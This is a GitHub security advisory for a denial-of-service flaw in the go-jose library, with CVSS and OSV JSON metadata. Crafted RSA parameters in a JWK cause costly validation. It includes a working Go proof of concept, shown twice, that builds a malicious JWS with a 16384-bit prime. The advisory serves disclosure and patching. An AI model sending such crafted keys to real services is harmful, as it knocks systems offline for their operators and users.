GHSA-MGCC-CWW5-FP2Q

Vulnerability from github – Published: 2026-10-27 19:01 – Updated: 2026-10-27 19:01
VLAI
Summary
Go JOSE: DoS when parsing JWKs that contain RSA keys
Details

Summary

A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.

Details

go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.

https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700

Proof of concept

No special configuration of go-jose is required to reproduce this vulnerability.

package main

import (
    "encoding/base64"
    "encoding/json"
    "fmt"
    "math/big"
    "time"

    "github.com/go-jose/go-jose/v4"
)

func main() {
    // The RSA parameters can be complete junk. The CPU cost is in validating them.
    primeBits := 16384
    p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
    p.SetBit(p, 0, 1)
    n := new(big.Int).Lsh(big.NewInt(1), 2048)
    e := big.NewInt(65537)
    d := big.NewInt(3)
    q := big.NewInt(3)

    jwk := map[string]string{
        "kty": "RSA",
        "n":   base64.RawURLEncoding.EncodeToString(n.Bytes()),
        "e":   base64.RawURLEncoding.EncodeToString(e.Bytes()),
        "d":   base64.RawURLEncoding.EncodeToString(d.Bytes()),
        "p":   base64.RawURLEncoding.EncodeToString(p.Bytes()),
        "q":   base64.RawURLEncoding.EncodeToString(q.Bytes()),
    }

    protected := map[string]any{
        "alg": "RS256",
        "jwk": jwk,
    }
    protJSON, _ := json.Marshal(protected)

    jws := map[string]string{
        "protected": base64.RawURLEncoding.EncodeToString(protJSON),
        "payload":   base64.RawURLEncoding.EncodeToString([]byte(`{}`)),
        "signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")),
    }
    jwsJSON, _ := json.Marshal(jws)

    start := time.Now()
    _, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})
    elapsed := time.Since(start)

    fmt.Printf("prime bits: %d\n", primeBits)
    fmt.Printf("parse time: %s\n", elapsed)
    fmt.Printf("parse error: %v\n", err)
}

Impact

Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.

Credits

Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.5"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-jose/go-jose/v4"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-jose/go-jose/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-116587"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-27T19:01:30Z",
    "nvd_published_at": "2026-10-26T22:16:55Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.\n\n### Details\n\ngo-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to `crypto/rsa.PrivateKey.Validate()`. On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.\n\nhttps://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700\n\n### Proof of concept\n\nNo special configuration of go-jose is required to reproduce this vulnerability.\n\n```go\npackage main\n\nimport (\n\t\"encoding/base64\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"math/big\"\n\t\"time\"\n\n\t\"github.com/go-jose/go-jose/v4\"\n)\n\nfunc main() {\n\t// The RSA parameters can be complete junk. The CPU cost is in validating them.\n\tprimeBits := 16384\n\tp := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))\n\tp.SetBit(p, 0, 1)\n\tn := new(big.Int).Lsh(big.NewInt(1), 2048)\n\te := big.NewInt(65537)\n\td := big.NewInt(3)\n\tq := big.NewInt(3)\n\n\tjwk := map[string]string{\n\t\t\"kty\": \"RSA\",\n\t\t\"n\":   base64.RawURLEncoding.EncodeToString(n.Bytes()),\n\t\t\"e\":   base64.RawURLEncoding.EncodeToString(e.Bytes()),\n\t\t\"d\":   base64.RawURLEncoding.EncodeToString(d.Bytes()),\n\t\t\"p\":   base64.RawURLEncoding.EncodeToString(p.Bytes()),\n\t\t\"q\":   base64.RawURLEncoding.EncodeToString(q.Bytes()),\n\t}\n\n\tprotected := map[string]any{\n\t\t\"alg\": \"RS256\",\n\t\t\"jwk\": jwk,\n\t}\n\tprotJSON, _ := json.Marshal(protected)\n\n\tjws := map[string]string{\n\t\t\"protected\": base64.RawURLEncoding.EncodeToString(protJSON),\n\t\t\"payload\":   base64.RawURLEncoding.EncodeToString([]byte(`{}`)),\n\t\t\"signature\": base64.RawURLEncoding.EncodeToString([]byte(\"not-a-real-signature\")),\n\t}\n\tjwsJSON, _ := json.Marshal(jws)\n\n\tstart := time.Now()\n\t_, err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256})\n\telapsed := time.Since(start)\n\n\tfmt.Printf(\"prime bits: %d\\n\", primeBits)\n\tfmt.Printf(\"parse time: %s\\n\", elapsed)\n\tfmt.Printf(\"parse error: %v\\n\", err)\n}\n```\n\n### Impact\n\nDenial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.\n\n### Credits\n\nReported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)",
  "id": "GHSA-mgcc-cww5-fp2q",
  "modified": "2026-10-27T19:01:30Z",
  "published": "2026-10-27T19:01:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-jose/go-jose/security/advisories/GHSA-mgcc-cww5-fp2q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-116587"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-jose/go-jose/commit/a0111f82742fa92bceec9ede40845e73319e6230"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-jose/go-jose"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-jose/go-jose/releases/tag/v4.1.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Go JOSE: DoS when parsing JWKs that contain RSA keys"
}



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